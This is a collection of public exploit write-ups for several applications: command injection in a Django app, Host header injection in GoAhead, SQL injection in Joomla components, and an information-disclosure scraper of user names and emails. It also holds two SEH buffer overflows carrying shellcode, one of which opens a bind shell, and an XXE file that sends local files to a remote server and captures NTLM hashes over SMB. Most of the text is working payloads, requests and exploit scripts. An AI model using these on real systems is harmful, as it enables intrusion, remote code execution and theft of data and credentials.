# Vendor Homepage: [ https://github.com/kostasmitroglou/thesystem | https://github.com/kostasmitroglou/thesystem ] 
# Software Link: [ https://github.com/kostasmitroglou/thesystem | https://github.com/kostasmitroglou/thesystem ] 
# Tested Version: 1.0 
# Tested on OS: Windows 10 
# CVE: N/A 
# Type: Webapps 
# Description: 
# Simple Command injection after login bypass(login_required didn't used) 

POST /run_command/ HTTP/1.1 
Host: 127.0.0.1:8000 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Content-Type: multipart/form-data; boundary=---------------------------168279961491 
Content-Length: 325 
Connection: close 
Referer: [ http://127.0.0.1:8000/run_command/ | http://127.0.0.1:8000/run_command/ ] 
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.1.567905900.1569231977; _gid=GA1.1.882048829.1569577719 
Upgrade-Insecure-Requests: 1 
-----------------------------168279961491 
Content-Disposition: form-data; name="csrfmiddlewaretoken" 
7rigJnIFAByKlmo6NBD7R8Ua66daVjdfiFH16T7HxJrP43GhJ7m7mVAIFIX7ZDfX 
-----------------------------168279961491 
Content-Disposition: form-data; name="command" 
ping 127.0.0.1 
-----------------------------168279961491-- 

HTTP/1.1 200 OK 
Date: Sat, 28 Sep 2019 09:42:26 GMT 
Server: WSGIServer/0.2 CPython/3.5.3 
Content-Length: 429 
Content-Type: text/html; charset=utf-8 
X-Frame-Options: SAMEORIGIN 

Pinging 127.0.0.1 with 32 bytes of data: 
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 
Ping statistics for 127.0.0.1: 
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 
Approximate round trip times in milli-seconds: 
Minimum = 0ms, Maximum = 0ms, Average = 0ms 

When I try to run following command, all commands run: 
dir 
whoami
            
# Exploit Title: GoAhead Web server HTTP Header Injection.
# Shodan Query: Server: Goahead
# Discovered Date: 05/07/2019
# Exploit Author: Ramikan
# Vendor Homepage: https://www.embedthis.com/goahead/
# Affected Version: 2.5.0 may be others.
# Tested On Version: 2.5.0 in Cisco Switches and Net Gear routers.
# Vendor Fix: N/A
# CVE : N/A
# CVSS v3: N/A
# Category: Hardware, Web Apps
# Reference : www.fact-in-hack.blogspot.com

Vulnerability: Host Header Injection

A Host Header Injection vulnerability may allow an attacker to spoof a particular Host header, allowing the attacker to render arbitrary links that point to a malicious website with poisoned Host header webpages.

An issue was discovered in GoAhead web server version 2.5.0 (may be affected on other versions too). The values of the 'Host' headers are implicitly set as trusted while this should be forbidden, leading to potential host header injection attack and also the affected hosts can be used for domain fronting. This means affected hosts can be used by attackers to hide behind during various other attack

PS: Affected on most of embedded webservers on hardware such as switches, routers, IOT and IP cameras. 


POC: 1

Request:

POST /goform/login HTTP/1.1
Host: myevilwebsite.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Connection: close
Referer: https://46725846267.com/login.asp
Upgrade-Insecure-Requests: 1

username=admin&password=admin&language=english


Response:


HTTP/1.0 302 Redirect
Server: Goahead/2.5.0 PeerSec-MatrixSSL/3.2.1-OPEN
Date: Fri Jul 12 15:28:29 2019
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html

<html><head></head><body>
		This document has moved to a new <a href="https://myevilwebsite.com/login.asp">location</a>.
		Please update your documents to reflect the new location.
		</body></html>

POC: 2

Request:

POST /config/log_off_page.htm HTTP/1.1
Host: google.com:443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: 12344
Content-Type: application/x-www-form-urlencoded
Content-Length: 774
Connection: close
Upgrade-Insecure-Requests: 1

restoreUrl=&errorCollector=&ModuleTable=OK&rlPhdModuleTable%24VT=OK&rlPhdModuleStackUnit%24VT=Type%3D0%3BAccess%3D1%3BNumOfEnumerations%3D0%3BRange0%3D%5B-2147483648%2C2147483647%5D&rlPhdModuleIndex%24VT=Type%3D0%3BAccess%3D1%3BNumOfEnumerations%3D0%3BRange0%3D%5B-2147483648%2C2147483647%5D&rlPhdModuleType%24VT=Type%3D0%3BAccess%3D1%3BNumOfEnumerations%3D0%3BRange0%3D%5B-2147483648%2C2147483647%5D&rlPhdModuleNumberOfPorts%24VT=Type%3D0%3BAccess%3D1%3BNumOfEnumerations%3D0%3BRange0%3D%5B-2147483648%2C2147483647%5D&ModuleTable%24endVT=OK&rlPhdModuleStackUnit%24repeat%3F1=1&rlPhdModuleIndex%24repeat%3F1=1&rlPhdModuleType%24repeat%3F1=47&rlPhdModuleNumberOfPorts%24repeat%3F1=28&ModuleTable%24endRepeat%3F1=OK&userName%24query=%24enab15%24&password%24query=admin&x=0&y=0

Response:

HTTP/1.1 302 Redirect
Server: GoAhead-Webs
Date: Sat Oct 14 19:04:59 2006
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Location: http://google.com:443/config/accessnotallowedpage.htm

<html><head></head><body>
                        This document has moved to a new <a href="http://google.com:443/config/accessnotallowedpage.htm">location</a>.
                        Please update your documents to reflect the new location.
                        </body></html>

POC: 3 

curl -k --header "Host: attacker domain" "victim's url"


Initial Investigation:

Potentially affected Part of the source code in GoAhead web server is in the ’http.c’ file, which contains 'host' parameter.
https://github.com/embedthis/goahead/blob/master/src/http.c
            
# Exploit Title: TuneClone Local Seh Exploit
# Date: 19.06.2019
# Vendor Homepage: http://www.tuneclone.com/
# Software Link:   http://www.tuneclone.com/tuneclone_setup.exe
# Exploit Author: Achilles
# Tested Version: 2.20
# Tested on: Windows XP SP3 EN
            
# 1.- Run python code : TuneClone.py
# 2.- Open EVIL.txt and copy content to Clipboard
# 3.- Open TuneClone and press Help and 'Enter License Code'
# 4.- Paste the Content of EVIL.txt into the 'Name and Code Field'
# 5.- Click 'OK' and you will have a bind shell port 3110.
# 6.- Greetings go:XiDreamzzXi,Metatron

#!/usr/bin/env python

import struct

buffer = "\x41" * 1056
nseh = "\xeb\x06\x90\x90" #jmp short 6
seh  =  struct.pack('<L',0x583411c0) #msaud32.acm
nops =  "\x90" * 20

#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=3110 -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -i 1 -f python
#badchars "\x00\x0a\x0d"
shellcode = ("\xb8\xf4\xc0\x2a\xd0\xdb\xd8\xd9\x74\x24\xf4\x5a\x2b" 
"\xc9\xb1\x53\x31\x42\x12\x83\xea\xfc\x03\xb6\xce\xc8"
"\x25\xca\x27\x8e\xc6\x32\xb8\xef\x4f\xd7\x89\x2f\x2b"
"\x9c\xba\x9f\x3f\xf0\x36\x6b\x6d\xe0\xcd\x19\xba\x07"
"\x65\x97\x9c\x26\x76\x84\xdd\x29\xf4\xd7\x31\x89\xc5"
"\x17\x44\xc8\x02\x45\xa5\x98\xdb\x01\x18\x0c\x6f\x5f"
"\xa1\xa7\x23\x71\xa1\x54\xf3\x70\x80\xcb\x8f\x2a\x02"
"\xea\x5c\x47\x0b\xf4\x81\x62\xc5\x8f\x72\x18\xd4\x59"
"\x4b\xe1\x7b\xa4\x63\x10\x85\xe1\x44\xcb\xf0\x1b\xb7"
"\x76\x03\xd8\xc5\xac\x86\xfa\x6e\x26\x30\x26\x8e\xeb"
"\xa7\xad\x9c\x40\xa3\xe9\x80\x57\x60\x82\xbd\xdc\x87"
"\x44\x34\xa6\xa3\x40\x1c\x7c\xcd\xd1\xf8\xd3\xf2\x01"
"\xa3\x8c\x56\x4a\x4e\xd8\xea\x11\x07\x2d\xc7\xa9\xd7"
"\x39\x50\xda\xe5\xe6\xca\x74\x46\x6e\xd5\x83\xa9\x45"
"\xa1\x1b\x54\x66\xd2\x32\x93\x32\x82\x2c\x32\x3b\x49"
"\xac\xbb\xee\xe4\xa4\x1a\x41\x1b\x49\xdc\x31\x9b\xe1"
"\xb5\x5b\x14\xde\xa6\x63\xfe\x77\x4e\x9e\x01\x7b\xa9"
"\x17\xe7\xe9\xa5\x71\xbf\x85\x07\xa6\x08\x32\x77\x8c"
"\x20\xd4\x30\xc6\xf7\xdb\xc0\xcc\x5f\x4b\x4b\x03\x64"
"\x6a\x4c\x0e\xcc\xfb\xdb\xc4\x9d\x4e\x7d\xd8\xb7\x38"
"\x1e\x4b\x5c\xb8\x69\x70\xcb\xef\x3e\x46\x02\x65\xd3"
"\xf1\xbc\x9b\x2e\x67\x86\x1f\xf5\x54\x09\x9e\x78\xe0"
"\x2d\xb0\x44\xe9\x69\xe4\x18\xbc\x27\x52\xdf\x16\x86"
"\x0c\x89\xc5\x40\xd8\x4c\x26\x53\x9e\x50\x63\x25\x7e"
"\xe0\xda\x70\x81\xcd\x8a\x74\xfa\x33\x2b\x7a\xd1\xf7"
"\x5b\x31\x7b\x51\xf4\x9c\xee\xe3\x99\x1e\xc5\x20\xa4"
"\x9c\xef\xd8\x53\xbc\x9a\xdd\x18\x7a\x77\xac\x31\xef"
"\x77\x03\x31\x3a")
pad ="C" * (6000 - len(buffer) - len(nseh+seh) - len(nops) -len(shellcode))
payload = buffer + nseh + seh + nops + shellcode + pad

try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(payload)
	f.write(payload)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"
            
# Exploit Title: Joomla! Component JoomCRM 1.1.1 - SQL Injection
# Dork: N/A
# Date: 2019-01-11
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://joomboost.com/
# Software Link: https://extensions.joomla.org/extensions/extension/marketing/crm/joomcrm/
# Version: 1.1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1) 
# http://localhost/[PATH]/index.php?option=com_joomcrm&view=contacts&format=raw&loc=deal&tmpl=component&deal_id=[SQL]
# 

GET /[PATH]/index.php?option=com_joomcrm&view=contacts&format=raw&loc=deal&tmpl=component&deal_id=31%39%20A%4e%44%28%53%45%4c%45%43%54%20%31%20%46%52OM%20%28%53%45%4c%45%43%54%20%43%4f%55%4e%54%28%2a%29%2c%43%4f%4e%43%41T%28%28%53%45%4c%45%43%54%28%53%45%4c%45%43%54%20%43%4f%4e%43%41%54%28%43%41%53%54%28%44%41%54%41%42%41%53E()%20%41%53%20%43%48%41%52%29%2c%30%78%37%65%29%29%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%20%57%48%45%52%45%20%74%61%62%6c%65%5f%73%63%68%65%6d%61%3dDAT%41%42%41%53%45%28%29%20%4c%49%4d%49%54%20%30%2c%31%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4fRMA%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%20%47%52%4f%55%50%20%42%59%20%78%29%61%29 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __cfduid=d32095db21c106516d53cae46d08e3e291547158024; 5cccc826c28cb27e67933089ce2566a0=1ad52e59a11808d25fa5e93d022c74f3; joomla_user_state=logged_in
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 500 Internal Server Error
Date: Thu, 10 Jan 2019 22:19:34 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/7.1.18
Alt-Svc: h2=":443"; ma=60
Server: cloudflare
CF-RAY: 4972869f86167a82-LAX

# POC: 
# 2) 
# http://localhost/[PATH]/index.php?option=com_joomcrm&view=events&layout=event_listings&format=raw&tmpl=component
# 

POST /[PATH]/index.php?option=com_joomcrm&view=events&layout=event_listings&format=raw&tmpl=component HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 758
Cookie: __cfduid=d32095db21c106516d53cae46d08e3e291547158024; 5cccc826c28cb27e67933089ce2566a0=1ad52e59a11808d25fa5e93d022c74f3; joomla_user_state=logged_in
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
assignee_id=1&assignee_filter_type=individual&association_type=deal&association_id=47%39%20A%4e%44%28%53%45%4c%45%43%54%20%31%20%46%52OM%20%28%53%45%4c%45%43%54%20%43%4f%55%4e%54%28%2a%29%2c%43%4f%4e%43%41T%28%28%53%45%4c%45%43%54%28%53%45%4c%45%43%54%20%43%4f%4e%43%41%54%28%43%41%53%54%28%44%41%54%41%42%41%53E()%20%41%53%20%43%48%41%52%29%2c%30%78%37%65%29%29%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%20%57%48%45%52%45%20%74%61%62%6c%65%5f%73%63%68%65%6d%61%3dDAT%41%42%41%53%45%28%29%20%4c%49%4d%49%54%20%30%2c%31%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4fRMA%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%20%47%52%4f%55%50%20%42%59%20%78%29%61%29: undefined
HTTP/1.1 500 Internal Server Error
Date: Thu, 10 Jan 2019 22:21:40 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/7.1.18
Alt-Svc: h2=":443"; ma=60
Server: cloudflare
CF-RAY: 497289b65710775a-LAX
            
#!/usr/bin/python

#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title:  Code Blocks 17.12 - Local Buffer Overflow (SEH)(Unicode)
# Date: 01-10-2019
# Vulnerable Software: Code Blocks 17.12
# Vendor Homepage: http://www.codeblocks.org/
# Version: 17.12
# Software Link:
# http://sourceforge.net/projects/codeblocks/files/Binaries/17.12/Windows/codeblocks-17.12-setup.exe
# Tested Windows 7 SP1 x86
#
#
# PoC
# 1. generate codeblocks.txt, copy contents to clipboard
# 2. open cold blocks app
# 3. select File, New, Class
# 4. paste contents from clipboard into Class name
# 5. select Create
# 6. pop calc
#

filename = "codeblocks.txt"


junk = "A"*1982


nseh = "\x61\x62"

#0x005000e0 pop edi # pop ebp # ret  | startnull,unicode {PAGE_EXECUTE_READ} [codeblocks.exe]
seh = "\xe0\x50"

nops = "\x47"*10

valign = (
"\x53" 				#push ebx
"\x47" 				#align
"\x58" 				#pop eax
"\x47"                          #align
"\x47"                          #align
"\x05\x28\x11" 	                #add eax  
"\x47"                          #align
"\x2d\x13\x11"                  #sub eax
"\x47"				#align
"\x50"				#push eax
"\x47"				#align
"\xc3"				#retn
)

nops_sled = "\x47"*28

#msfvenom -p windows/exec CMD=calc.exe -e x86/unicode_upper BufferRegister=EAX
#Payload size: 517 bytes
calc = (
"PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1A"
"IQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLIXDBM0KPKP1PU9ZE01I0RD4KPPP0DK0RLL4KB2MD4KRRN"
"HLO6WOZNFP1KOFLOLC13LKRNLMPI18OLMM17W9RKBB21GTKPRLPDKPJOL4K0LN1RXZCPHKQZ1PQ4K29O0KQXS4KOY"
"N8YSOJOYDKNT4KKQXV01KOFLY18OLMM1GWOH9PSEKFM3SMZXOKSMNDT5ITPXDKPXMTKQ8SC6TKLL0KTKPXMLM1YCD"
"KLDTKM1J0SYOTMTMTQKQKS10YQJB1KOIPQO1OQJ4KMBZK4MQM2JKQ4MTEX2KPKPKPPP2HP1TKBOTGKOZ5GKJP6UVB"
"0V2HW65EGM5MKO8UOLLFSLLJU0KKIPRUKUWK0GMCCBRORJKPB3KOIE2CC1RLQSNNQU2X35M0AA")

fill = "D"*10000

buffer = junk + nseh + seh + nops + valign + nops_sled + calc + fill

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
            
# Exploit Title: Joomla! Component JoomProject 1.1.3.2 - Information Disclosure
# Dork: N/A
# Date: 2019-01-11
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://joomboost.com/
# Software Link: https://extensions.joomla.org/extensions/extension/clients-a-communities/project-a-task-management/joomproject/
# Version: 1.1.3.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1) 
<?php
header ('Content-type: text/html; charset=UTF-8');
$url= "http://localhost/[PATH]/";
$p="index.php?option=com_jpprojects&view=projects&tmpl=component&format=json";
$url = file_get_contents($url.$p);
$l = json_decode($url, true);
if($l){
	echo "*-----------------------------*<br />";
foreach($l as $u){
	echo "[-] ID\n\n\n\n:\n" .$u['id']."<br />";
	echo "[-] Name\n\n:\n" .$u['author_name']."<br />";
	echo "[-] Email\n:\n" .$u['author_email']."<br />";
	echo "<br>";
}echo "*-----------------------------*";} 
else{echo "[-] No user";}
?>
            
# Title: Microsoft Baseline Security Analyzer 2.3 - XML External Entity Injection
# Date: 2018-09-08
# Author: John Page (aka hyp3rlinx)
# Vendor: Microsoft
# Software link: https://www.microsoft.com/en-us/download/details.aspx?id=7558
# Software Version: 2.3
# References: ZDI-CAN-6307
# References: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-BASELINE-ANALYZER-v2.3-XML-INJECTION.txt
# References: hyp3rlinx.altervista.org

# Security Issue
# Microsoft Baseline Security Analyzer allows local files to be exfiltrated to a remote attacker 
# controlled server if a user opens a specially crafted ".mbsa" file.

# Exploit/POC

# Install MBSA
# https://www.microsoft.com/en-us/download/details.aspx?id=7558

# 1) "evil.mbsa"

<?xml version="1.0"?>
<!DOCTYPE fileppe_fingerz [ 
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

# 2) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;

# When victim attempts open file they get prompted "Do you want to let this app 
# make changes to your device?" However, it also indicates it is a "verified publisher" namely Microsoft. 
# After opening the local users files can be exfiltrated to a remote server.
# Moreover, we can use this to steal NTLM hashes.

# Using Forced Authentication to steal NTLM hashes

# 2) msf > use auxiliary/server/capture/smb
# msf auxiliary(smb) > exploit -j

"evil.mbsa"

<?xml version="1.0"?>
<!DOCTYPE fileppe_fingerz [ 
<!ENTITY % dtd SYSTEM "\\192.168.114.153\unknwonfilez">
%dtd;]>

# Result: credentials captured by remote sever